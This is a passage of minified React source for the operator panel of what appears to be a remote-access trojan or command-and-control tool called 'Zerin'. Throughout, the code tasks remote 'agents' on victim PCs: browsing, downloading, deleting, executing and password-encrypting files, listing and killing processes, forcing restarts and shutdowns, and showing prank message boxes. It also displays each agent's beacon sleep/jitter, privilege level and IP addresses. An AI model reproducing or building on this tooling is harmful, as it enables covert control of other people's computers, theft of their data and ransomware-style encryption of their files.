justify-center gap-2 px-4 py-2.5\r + text-sm font-medium text-white bg-orange-500 hover:bg-orange-600\r + disabled:opacity-30 disabled:cursor-not-allowed transition-colors`,children:[se?s.jsx("div",{className:"w-4 h-4 border-2 border-white/30 border-t-white rounded-full animate-spin"}):s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 3l14 9-14 9V3z"})}),"Execute",I.size>1?` (${I.size})`:""]})]})]})}),s.jsx(e_,{x:h.x,y:h.y,visible:h.visible,onAction:V,onClose:Z,agentStatus:g==null?void 0:g.status,agentName:g==null?void 0:g.hostname}),s.jsx(gj,{agentId:(w==null?void 0:w.id)??"",agentHostname:(w==null?void 0:w.hostname)??"",open:w!==null,onClose:()=>j(null)}),s.jsx(n_,{open:v!==null,onClose:()=>b(null),title:(v==null?void 0:v.hostname)??"Agent Details",children:v&&s.jsx(CU,{agent:v,onNavigate:()=>e(`/agents/${v.id}`),onTagsChange:async E=>{const oe=v.tags??[];n(J=>J.map(pe=>pe.id===v.id?{...pe,tags:E}:pe)),b(J=>J&&{...J,tags:E});try{await DE(v.id,E)}catch{n(J=>J.map(pe=>pe.id===v.id?{...pe,tags:oe}:pe)),b(J=>J&&{...J,tags:oe}),o("Failed to update tags")}}})}),k&&s.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/60",onClick:()=>S(null),children:s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-6 max-w-sm w-full mx-4",onClick:E=>E.stopPropagation(),children:[s.jsxs("h3",{className:"font-display text-lg font-semibold text-zerin-text mb-2",children:[k.command==="restart"?"Restart":"Shutdown"," PC"]}),s.jsxs("p",{className:"text-zerin-text-muted text-sm mb-6",children:["Are you sure you want to ",k.command," ",s.jsx("span",{className:"text-zerin-text font-medium",children:k.hostname}),"?",k.command==="shutdown"&&" The agent will go offline."]}),s.jsxs("div",{className:"flex items-center justify-end gap-2",children:[s.jsx("button",{onClick:()=>S(null),className:`px-4 py-2 text-sm font-medium text-zerin-text-dim\r + hover:text-zerin-text bg-zerin-panel-hover hover:bg-zerin-bg\r + transition-colors`,children:"Cancel"}),s.jsx("button",{onClick:()=>{Ee(k.agentId,{command:k.command}).catch(E=>{o(`Failed to submit task: ${E instanceof Error?E.message:"unknown error"}`)}),S(null)},className:`px-4 py-2 text-sm font-medium text-white transition-colors ${k.command==="shutdown"?"bg-zerin-danger hover:bg-red-600":"bg-zerin-accent hover:bg-zerin-accent-hover"}`,children:k.command==="restart"?"Restart":"Shutdown"})]})]})}),N&&s.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/60",onClick:()=>z(null),children:s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-6 max-w-md w-full mx-4",onClick:E=>E.stopPropagation(),children:[s.jsx("h3",{className:"font-display text-lg font-semibold text-zerin-text mb-1",children:"Send Message Box"}),s.jsxs("p",{className:"text-zerin-text-muted text-xs mb-4",children:["Target: ",s.jsx("span",{className:"text-zerin-text font-medium",children:N.hostname})]}),s.jsxs("div",{className:"space-y-3 mb-6",children:[s.jsxs("div",{children:[s.jsx("label",{className:"block text-zerin-text-muted text-xs mb-1",children:"Title"}),s.jsx("input",{type:"text",value:_,onChange:E=>A(E.target.value),placeholder:"Window title...",className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-1.5\r + text-sm text-zerin-text placeholder-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent/50 focus:ring-1 focus:ring-zerin-accent/20 transition-all`})]}),s.jsxs("div",{children:[s.jsx("label",{className:"block text-zerin-text-muted text-xs mb-1",children:"Message"}),s.jsx("textarea",{value:O,onChange:E=>P(E.target.value),placeholder:"Message text...",rows:3,className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-1.5\r + text-sm text-zerin-text placeholder-zerin-text-muted resize-none\r + focus:outline-none focus:border-zerin-accent/50 focus:ring-1 focus:ring-zerin-accent/20 transition-all`})]})]}),s.jsxs("div",{className:"flex items-center justify-end gap-2",children:[s.jsx("button",{onClick:()=>z(null),className:`px-4 py-2 text-sm font-medium text-zerin-text-dim\r + hover:text-zerin-text bg-zerin-panel-hover hover:bg-zerin-bg\r + transition-colors`,children:"Cancel"}),s.jsx("button",{onClick:()=>{O.trim()&&Ee(N.agentId,{command:"troll_msgbox",args:[O,_||"Zerin"]}).catch(E=>{o(`Failed to submit task: ${E instanceof Error?E.message:"unknown error"}`)}),z(null)},disabled:!O.trim(),className:`px-4 py-2 text-sm font-medium text-white bg-zerin-accent\r + hover:bg-zerin-accent-hover disabled:opacity-40 disabled:cursor-not-allowed\r + transition-colors`,children:"Send"})]})]})})]})}function Yl({label:e,value:t,active:n,onClick:r}){return s.jsxs("button",{onClick:r,className:`bg-zerin-panel border p-4 text-left transition-all duration-150 hover:bg-zerin-panel-hover ${n?"border-l-2 border-l-zerin-accent border-t-zerin-panel-border border-r-zerin-panel-border border-b-zerin-panel-border":"border-zerin-panel-border"}`,children:[s.jsx("p",{className:"text-xs text-zerin-text-muted uppercase tracking-wider mb-1",children:e}),s.jsx("p",{className:"text-2xl font-display font-bold text-zerin-text",children:t})]})}function zU({column:e,sort:t}){return t.column!==e?s.jsx("svg",{className:"h-3 w-3 text-zerin-text-muted/30",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M7 16V4m0 0L3 8m4-4l4 4m6 0v12m0 0l4-4m-4 4l-4-4"})}):t.direction==="asc"?s.jsx("svg",{className:"h-3 w-3 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 15l7-7 7 7"})}):s.jsx("svg",{className:"h-3 w-3 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19 9l-7 7-7-7"})})}function CU({agent:e,onNavigate:t,onTagsChange:n}){return s.jsxs("div",{className:"space-y-6",children:[s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx(sd,{status:e.status,size:"lg",showLabel:!0}),e.elevated&&s.jsx("span",{className:"inline-flex items-center bg-zerin-panel-hover px-2 py-1 text-xs font-semibold uppercase tracking-wider text-zerin-text-dim",children:"Elevated"})]}),s.jsxs("div",{className:"grid grid-cols-2 gap-x-4 gap-y-4",children:[s.jsx(xn,{label:"Hostname",value:e.hostname}),s.jsx(xn,{label:"Username",value:e.username}),s.jsx(xn,{label:"OS",value:So(e.os)}),s.jsx(xn,{label:"Architecture",value:e.arch}),s.jsx(xn,{label:"PID",value:String(e.pid),mono:!0}),s.jsx(xn,{label:"Integrity",value:e.integrity}),s.jsx(xn,{label:"Internal IP",value:e.internal_ip,mono:!0}),s.jsx(xn,{label:"External IP",value:e.external_ip,mono:!0}),s.jsx(xn,{label:"Sleep / Jitter",value:vj(e.sleep_interval,e.jitter),mono:!0}),s.jsx(xn,{label:"Agent ID",value:Hs(e.id),mono:!0}),s.jsx(xn,{label:"First Seen",value:No(e.first_seen)}),s.jsx(xn,{label:"Last Seen",value:Vc(e.last_seen)})]}),s.jsxs("div",{children:[s.jsx("p",{className:"text-zerin-text-muted text-xs mb-1.5",children:"Tags"}),s.jsx(bU,{tags:e.tags??[],onChange:n})]}),s.jsx("div",{className:"border-t border-zerin-panel-border"}),s.jsxs("button",{onClick:t,className:"w-full flex items-center justify-center gap-2 bg-zerin-accent px-4 py-2.5 text-sm font-medium text-white transition-colors hover:bg-zerin-accent-hover",children:["View Full Details",s.jsx("svg",{className:"h-4 w-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M13 7l5 5m0 0l-5 5m5-5H6"})})]})]})}function xn({label:e,value:t,mono:n=!1}){return s.jsxs("div",{children:[s.jsx("p",{className:"text-zerin-text-muted text-xs mb-0.5",children:e}),s.jsx("p",{className:`text-zerin-text text-sm ${n?"font-mono":""}`,children:t})]})}const PU={command:"text-zerin-accent",output:"text-zerin-text",error:"text-zerin-danger",system:"text-zerin-text-muted"},EU={command:"$ ",output:" ",error:"ERR ",system:"SYS "},AU={command:"text-zerin-accent",output:"text-zerin-text-muted",error:"text-zerin-danger",system:"text-zerin-text-muted opacity-50"};function _U({lines:e,className:t=""}){const n=p.useRef(null),r=p.useRef(null),i=p.useRef(0);return p.useEffect(()=>{var a;e.length>i.current&&((a=r.current)==null||a.scrollIntoView({behavior:"smooth"})),i.current=e.length},[e]),s.jsxs("div",{className:` + bg-zerin-bg border border-zerin-panel-border + font-mono text-sm overflow-hidden flex flex-col + ${t} + `,children:[s.jsxs("div",{className:"flex items-center gap-2 px-4 py-2.5 border-b border-zerin-panel-border bg-zerin-panel/60 select-none",children:[s.jsx("span",{className:"w-1.5 h-1.5 rounded-full bg-zerin-accent"}),s.jsx("span",{className:"text-zerin-text-dim text-xs font-medium tracking-wide",children:"Terminal"})]}),s.jsxs("div",{ref:n,className:"flex-1 p-4 space-y-1 min-h-[200px] overflow-auto custom-scrollbar",children:[e.length===0&&s.jsxs("div",{className:"text-zerin-text-muted text-xs",children:[s.jsx("span",{className:"opacity-50",children:"SYS "}),"Awaiting input. Type a command to begin."]}),e.map((a,o)=>s.jsxs("div",{className:`${PU[a.type]} whitespace-pre-wrap break-all leading-relaxed`,children:[a.timestamp&&s.jsx("span",{className:"text-zerin-text-muted opacity-30 text-[10px] mr-3 select-none",children:a.timestamp}),s.jsx("span",{className:`${AU[a.type]} select-none`,children:EU[a.type]}),a.content]},o)),s.jsx("div",{ref:r})]})]})}function OU({agentId:e,agentStatus:t}){const[n,r]=p.useState("C:\\"),[i,a]=p.useState([]),[o,l]=p.useState(!1),[c,u]=p.useState(""),[d,f]=p.useState(!1),[m,h]=p.useState(null),[x,g]=p.useState(null),[y,v]=p.useState(null),[b,w]=p.useState(""),[j,k]=p.useState(""),S=t==="dead",N=p.useRef(null),z=p.useRef(null),_=p.useRef(null);p.useEffect(()=>()=>{N.current&&clearInterval(N.current)},[]),p.useEffect(()=>{if(!m)return;const H=se=>{se.button!==2&&z.current&&!z.current.contains(se.target)&&h(null)},X=se=>{se.key==="Escape"&&h(null)};return document.addEventListener("mousedown",H),document.addEventListener("keydown",X),()=>{document.removeEventListener("mousedown",H),document.removeEventListener("keydown",X)}},[m]),p.useEffect(()=>{y&&setTimeout(()=>{var H;return(H=_.current)==null?void 0:H.focus()},50)},[y]);const A=p.useCallback(H=>new Promise((X,se)=>{let ue=0;const ge=30,xe=setInterval(async()=>{var Y;ue++;try{const C=(Y=(await Un(e)).results)==null?void 0:Y.find(K=>K.task_id===H);C?(clearInterval(xe),C.error?se(new Error(C.error)):X({output:C.output,data:C.data})):ue>=ge&&(clearInterval(xe),se(new Error("Timed out waiting for agent response")))}catch{}},2e3)}),[e]),O=p.useCallback(async H=>{if(!S){l(!0),u(""),a([]),N.current&&(clearInterval(N.current),N.current=null);try{const{task_id:X}=await Ee(e,{command:"ls",args:[H]});r(H),f(!0);let se=0;const ue=30;N.current=setInterval(async()=>{var ge;se++;try{const Y=(ge=(await Un(e)).results)==null?void 0:ge.find(ee=>ee.task_id===X);if(Y){if(N.current&&clearInterval(N.current),N.current=null,l(!1),Y.error){u(Y.error);return}if(Y.output){const ee=Y.output.split(` +`).slice(2),C=[];for(const K of ee){if(K.length<35)continue;const ne=K.substring(0,12).trim(),B=K.substring(13,33).trim();let ie=K.substring(34).trim();if(!ie||ie==="."||ie==="..")continue;const ve=ne==="";(ie.endsWith("/")||ie.endsWith("\\"))&&(ie=ie.slice(0,-1)),C.push({name:ie,isDir:ve,size:ve?void 0:ne,modified:B})}a(C)}}else se>=ue&&(N.current&&clearInterval(N.current),N.current=null,l(!1),u("Timed out waiting for agent response"))}catch{}},2e3)}catch(X){u(X instanceof Error?X.message:"Failed to send command"),l(!1)}}},[e,S]),P=H=>{if(H.name.includes("..")||H.name.includes("/")||H.name.includes("\\"))throw new Error("Invalid file name: path traversal detected");const X=n.endsWith("\\")||n.endsWith("/")?"":"\\";return n+X+H.name},I=H=>{k(H),setTimeout(()=>k(""),5e3)},U=async H=>{h(null),g("download"),u(""),k("");try{const X=P(H),{task_id:se}=await Ee(e,{command:"download",args:[X]}),ue=await A(se);if(ue.data){let ge;try{ge=atob(ue.data)}catch{u("Failed to decode file data: invalid base64 encoding");return}const xe=new Uint8Array(ge.length);for(let K=0;K{h(null),g("delete"),u(""),k("");try{const X=P(H),{task_id:se}=await Ee(e,{command:"delete",args:[X]});await A(se),I(`Deleted ${H.name}`),O(n)}catch(X){u(X instanceof Error?X.message:"Delete failed")}finally{g(null)}},M=async(H,X,se)=>{v(null),w(""),g(H),u(""),k("");try{const ue=P(X),{task_id:ge}=await Ee(e,{command:H,args:[ue,se]}),xe=await A(ge);I(xe.output||`${H==="encrypt"?"Encrypted":"Decrypted"} ${X.name}`),O(n)}catch(ue){u(ue instanceof Error?ue.message:`${H} failed`)}finally{g(null)}},F=async H=>{h(null),g("execute"),u(""),k("");try{const X=P(H),{task_id:se}=await Ee(e,{command:"execute",args:[X]}),ue=await A(se);I(ue.output||`Executed ${H.name}`)}catch(X){u(X instanceof Error?X.message:"Execute failed")}finally{g(null)}},R=(H,X)=>{H.preventDefault(),H.stopPropagation();const se=180,ue=220;let ge=H.clientX,xe=H.clientY;ge+se>window.innerWidth&&(ge=window.innerWidth-se-8),xe+ue>window.innerHeight&&(xe=window.innerHeight-ue-8),h({x:Math.max(4,ge),y:Math.max(4,xe),entry:X})},W=()=>{!y||!b.trim()||M(y.action,y.entry,b)},$=n.split(/[/\\]/).filter(Boolean);return s.jsxs("div",{className:"p-6 animate-fade-in max-w-3xl mx-auto",onContextMenu:H=>{H.preventDefault(),h(null)},children:[s.jsxs("div",{className:"flex items-center gap-1 mb-4 text-xs font-mono overflow-x-auto",children:[s.jsx("button",{onClick:()=>O("C:\\"),className:"text-zerin-text-muted hover:text-zerin-accent transition-colors px-1",disabled:S,children:"root"}),$.map((H,X)=>s.jsxs("span",{className:"flex items-center gap-1",children:[s.jsx("span",{className:"text-zerin-text-muted",children:"/"}),s.jsx("button",{onClick:()=>{const se=$.slice(0,X+1).join("\\")+"\\";O(se)},className:"text-zerin-text-dim hover:text-zerin-accent transition-colors px-1",disabled:S,children:H})]},X))]}),s.jsxs("div",{className:"flex items-center gap-3 mb-4",children:[s.jsxs("button",{onClick:()=>O(n),disabled:S||o,className:`inline-flex items-center gap-1.5 px-3 py-1.5 text-xs font-medium\r + bg-zerin-accent text-white hover:bg-zerin-accent-hover\r + disabled:opacity-40 disabled:cursor-not-allowed transition-colors`,children:[o?s.jsxs("svg",{className:"animate-spin h-3 w-3",fill:"none",viewBox:"0 0 24 24",children:[s.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),s.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}):s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 4v5h.582m15.356 2A8.001 8.001 0 004.582 9m0 0H9m11 11v-5h-.581m0 0a8.003 8.003 0 01-15.357-2m15.357 2H15"})}),"Browse"]}),S&&s.jsx("span",{className:"text-zerin-danger text-xs",children:"Agent is offline"}),x&&s.jsxs("span",{className:"inline-flex items-center gap-1.5 text-xs text-zerin-text-muted",children:[s.jsxs("svg",{className:"animate-spin h-3 w-3",fill:"none",viewBox:"0 0 24 24",children:[s.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),s.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}),x,"..."]})]}),c&&s.jsx("div",{className:"bg-zerin-panel border border-zerin-panel-border px-4 py-3 text-xs text-zerin-text-dim mb-4",children:c}),j&&s.jsx("div",{className:"bg-zerin-accent/10 border border-zerin-accent/30 px-4 py-3 text-xs text-zerin-accent mb-4 font-mono",children:j}),d?i.length>0?s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[s.jsxs("div",{className:"grid grid-cols-[24px_1fr] gap-2 px-4 py-2 border-b border-zerin-panel-border bg-zerin-bg-alt",children:[s.jsx("span",{}),s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Name"})]}),i.map(H=>s.jsxs("button",{onClick:()=>{if(H.isDir){const X=n.endsWith("\\")||n.endsWith("/")?"":"\\";O(n+X+H.name)}},onContextMenu:X=>R(X,H),className:`w-full grid grid-cols-[24px_1fr] gap-2 px-4 py-2 text-left\r + border-b border-zerin-panel-border last:border-b-0\r + hover:bg-zerin-panel-hover transition-colors text-sm`,children:[s.jsx("span",{className:"text-zerin-text-muted",children:H.isDir?s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M2.25 12.75V12A2.25 2.25 0 014.5 9.75h15A2.25 2.25 0 0121.75 12v.75m-8.69-6.44l-2.12-2.12a1.5 1.5 0 00-1.061-.44H4.5A2.25 2.25 0 002.25 6v12a2.25 2.25 0 002.25 2.25h15A2.25 2.25 0 0021.75 18V9a2.25 2.25 0 00-2.25-2.25h-5.379a1.5 1.5 0 01-1.06-.44z"})}):s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19.5 14.25v-2.625a3.375 3.375 0 00-3.375-3.375h-1.5A1.125 1.125 0 0113.5 7.125v-1.5a3.375 3.375 0 00-3.375-3.375H8.25m2.25 0H5.625c-.621 0-1.125.504-1.125 1.125v17.25c0 .621.504 1.125 1.125 1.125h12.75c.621 0 1.125-.504 1.125-1.125V11.25a9 9 0 00-9-9z"})})}),s.jsx("span",{className:H.isDir?"text-zerin-accent font-medium":"text-zerin-text-dim",children:H.name})]},H.name))]}):null:s.jsx("div",{className:"flex items-center justify-center py-16",children:s.jsxs("div",{className:"text-center",children:[s.jsx("div",{className:"w-12 h-12 mx-auto mb-3 bg-zerin-panel-hover flex items-center justify-center",children:s.jsx("svg",{className:"w-6 h-6 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M2.25 12.75V12A2.25 2.25 0 014.5 9.75h15A2.25 2.25 0 0121.75 12v.75m-8.69-6.44l-2.12-2.12a1.5 1.5 0 00-1.061-.44H4.5A2.25 2.25 0 002.25 6v12a2.25 2.25 0 002.25 2.25h15A2.25 2.25 0 0021.75 18V9a2.25 2.25 0 00-2.25-2.25h-5.379a1.5 1.5 0 01-1.06-.44z"})})}),s.jsx("p",{className:"text-zerin-text-muted text-sm",children:"Click Browse to list files on the agent"})]})}),m&&s.jsxs("div",{ref:z,className:"animate-scale-in fixed z-[9999] min-w-[170px] border border-zerin-panel-border bg-zerin-panel py-1",style:{left:m.x,top:m.y},children:[s.jsx("div",{className:"px-3 py-1.5 border-b border-zerin-panel-border",children:s.jsx("span",{className:"text-[11px] font-mono text-zerin-text-muted truncate block max-w-[200px]",children:m.entry.name})}),s.jsxs("button",{onClick:()=>U(m.entry),className:`flex w-full items-center gap-2 px-3 py-1.5 text-left text-sm\r + text-zerin-text-dim hover:bg-zerin-panel-hover hover:text-zerin-accent transition-colors`,children:[s.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 16v1a3 3 0 003 3h10a3 3 0 003-3v-1m-4-4l-4 4m0 0l-4-4m4 4V4"})}),"Download"]}),s.jsxs("button",{onClick:()=>F(m.entry),className:`flex w-full items-center gap-2 px-3 py-1.5 text-left text-sm\r + text-zerin-text-dim hover:bg-zerin-panel-hover hover:text-zerin-accent transition-colors`,children:[s.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 3l14 9-14 9V3z"})}),"Execute"]}),s.jsx("div",{className:"mx-2 my-1 border-t border-zerin-panel-border"}),s.jsxs("button",{onClick:()=>{v({action:"encrypt",entry:m.entry}),h(null),w("")},className:`flex w-full items-center gap-2 px-3 py-1.5 text-left text-sm\r + text-zerin-text-dim hover:bg-zerin-panel-hover hover:text-zerin-accent transition-colors`,children:[s.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 15v2m-6 4h12a2 2 0 002-2v-6a2 2 0 00-2-2H6a2 2 0 00-2 2v6a2 2 0 002 2zm10-10V7a4 4 0 00-8 0v4h8z"})}),"Encrypt"]}),s.jsxs("button",{onClick:()=>{v({action:"decrypt",entry:m.entry}),h(null),w("")},className:`flex w-full items-center gap-2 px-3 py-1.5 text-left text-sm\r + text-zerin-text-dim hover:bg-zerin-panel-hover hover:text-zerin-accent transition-colors`,children:[s.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8 11V7a4 4 0 118 0m-4 8v2m-6 4h12a2 2 0 002-2v-6a2 2 0 00-2-2H6a2 2 0 00-2 2v6a2 2 0 002 2z"})}),"Decrypt"]}),s.jsx("div",{className:"mx-2 my-1 border-t border-zerin-panel-border"}),s.jsxs("button",{onClick:()=>D(m.entry),className:`flex w-full items-center gap-2 px-3 py-1.5 text-left text-sm\r + text-zerin-danger hover:bg-zerin-danger-dim transition-colors`,children:[s.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19 7l-.867 12.142A2 2 0 0116.138 21H7.862a2 2 0 01-1.995-1.858L5 7m5 4v6m4-6v6m1-10V4a1 1 0 00-1-1h-4a1 1 0 00-1 1v3M4 7h16"})}),"Delete"]})]}),y&&s.jsx("div",{className:"fixed inset-0 z-[10000] flex items-center justify-center bg-black/60",onClick:()=>{v(null),w("")},children:s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-6 min-w-[340px] animate-scale-in",onClick:H=>H.stopPropagation(),children:[s.jsxs("h3",{className:"text-sm font-semibold text-zerin-text mb-1 capitalize",children:[y.action," File"]}),s.jsx("p",{className:"text-xs text-zerin-text-muted mb-4 font-mono truncate",children:y.entry.name}),s.jsx("label",{className:"block text-xs text-zerin-text-dim mb-1.5",children:"Password"}),s.jsx("input",{ref:_,type:"password",value:b,onChange:H=>w(H.target.value),onKeyDown:H=>{H.key==="Enter"&&W(),H.key==="Escape"&&(v(null),w(""))},placeholder:"Enter password...",className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-zerin-text font-mono text-sm placeholder-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent/50 focus:ring-1 focus:ring-zerin-accent/20\r + transition-all mb-4`}),s.jsxs("div",{className:"flex items-center justify-end gap-2",children:[s.jsx("button",{onClick:()=>{v(null),w("")},className:`px-3 py-1.5 text-xs text-zerin-text-dim\r + hover:text-zerin-text hover:bg-zerin-panel-hover transition-colors`,children:"Cancel"}),s.jsx("button",{onClick:W,disabled:!b.trim(),className:`px-4 py-1.5 text-xs font-medium bg-zerin-accent text-white\r + hover:bg-zerin-accent-hover disabled:opacity-40 disabled:cursor-not-allowed\r + transition-colors capitalize`,children:y.action})]})]})})]})}function TU({agentId:e,agentStatus:t}){const[n,r]=p.useState([]),[i,a]=p.useState(!1),[o,l]=p.useState(""),[c,u]=p.useState(!1),[d,f]=p.useState(""),[m,h]=p.useState(null),[x,g]=p.useState(null),y=t==="dead",v=p.useRef(null);p.useEffect(()=>()=>{v.current&&clearInterval(v.current)},[]);const b=p.useCallback(async()=>{if(!y){a(!0),l(""),r([]),v.current&&(clearInterval(v.current),v.current=null);try{const{task_id:S}=await Ee(e,{command:"ps"});u(!0);let N=0;const z=30;v.current=setInterval(async()=>{var _;N++;try{const O=(_=(await Un(e)).results)==null?void 0:_.find(P=>P.task_id===S);if(O){if(v.current&&clearInterval(v.current),v.current=null,a(!1),O.error){l(O.error);return}if(O.output){const P=O.output.split(` +`).filter(M=>M.trim()),I=[];for(const M of P){const F=M.trim().split(/\s+/);if(F.length>=2){const R=parseInt(F[0],10);if(!isNaN(R)){const W=F.length>=3?parseInt(F[1],10):0,$=!isNaN(W)&&F.length>=3,H=$?F.length>=4&&F.slice(3).join(" ")||F[2]:F.slice(1).join(" "),X=$&&F.length>=4?F[2]:void 0;I.push({pid:R,ppid:$?W:0,name:H,user:X,children:[]})}}}const U=new Map;I.forEach(M=>U.set(M.pid,M));const D=[];for(const M of I){const F=U.get(M.ppid);F&&F!==M?F.children.push(M):D.push(M)}r(D.length>0?D:I.map(M=>({...M,children:[]})))}}else N>=z&&(v.current&&clearInterval(v.current),v.current=null,a(!1),l("Timed out waiting for agent response"))}catch{}},2e3)}catch(S){l(S instanceof Error?S.message:"Failed to send command"),a(!1)}}},[e,y]),w=(S,N)=>{if(!N)return S;const z=N.toLowerCase();return S.filter(_=>{const A=_.name.toLowerCase().includes(z)||String(_.pid).includes(z),O=w(_.children,N).length>0;return A||O})},j=p.useCallback(async S=>{h(S),g(null);try{await Ee(e,{command:"kill",args:[String(S)]}),setTimeout(b,2e3)}catch(N){l(N instanceof Error?N.message:"Failed to kill process")}finally{h(null)}},[e,b]),k=w(n,d);return s.jsxs("div",{className:"p-6 animate-fade-in",children:[s.jsxs("div",{className:"flex items-center gap-3 mb-4",children:[s.jsxs("button",{onClick:b,disabled:y||i,className:`inline-flex items-center gap-1.5 px-3 py-1.5 text-xs font-medium\r + bg-zerin-accent text-white hover:bg-zerin-accent-hover\r + disabled:opacity-40 disabled:cursor-not-allowed transition-colors`,children:[i?s.jsxs("svg",{className:"animate-spin h-3 w-3",fill:"none",viewBox:"0 0 24 24",children:[s.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),s.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}):s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 4v5h.582m15.356 2A8.001 8.001 0 004.582 9m0 0H9m11 11v-5h-.581m0 0a8.003 8.003 0 01-15.357-2m15.357 2H15"})}),"Refresh"]}),s.jsxs("div",{className:"relative flex-1 max-w-xs",children:[s.jsx("svg",{className:"absolute left-2.5 top-1/2 -translate-y-1/2 w-3.5 h-3.5 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"})}),s.jsx("input",{type:"text",value:d,onChange:S=>f(S.target.value),placeholder:"Filter processes...",className:`w-full bg-zerin-bg border border-zerin-panel-border pl-8 pr-3 py-1.5\r + text-xs text-zerin-text placeholder-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent/50 focus:ring-1 focus:ring-zerin-accent/20 transition-all`})]}),y&&s.jsx("span",{className:"text-zerin-danger text-xs",children:"Agent is offline"})]}),o&&s.jsx("div",{className:"bg-zerin-panel border border-zerin-panel-border px-4 py-3 text-xs text-zerin-text-dim mb-4",children:o}),c?n.length>0?s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[s.jsxs("div",{className:"grid grid-cols-[80px_1fr_120px_70px] gap-4 px-4 py-2 border-b border-zerin-panel-border bg-zerin-bg-alt",children:[s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"PID"}),s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Name"}),s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"User"}),s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Kill"})]}),s.jsx("div",{className:"max-h-[500px] overflow-y-auto custom-scrollbar",children:k.map(S=>s.jsx(VS,{process:S,depth:0,confirmKillPid:x,killingPid:m,onKillClick:N=>g(N),onKillConfirm:j,onKillCancel:()=>g(null)},S.pid))})]}):null:s.jsx("div",{className:"flex items-center justify-center py-16",children:s.jsxs("div",{className:"text-center",children:[s.jsx("div",{className:"w-12 h-12 mx-auto mb-3 bg-zerin-panel-hover flex items-center justify-center",children:s.jsx("svg",{className:"w-6 h-6 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 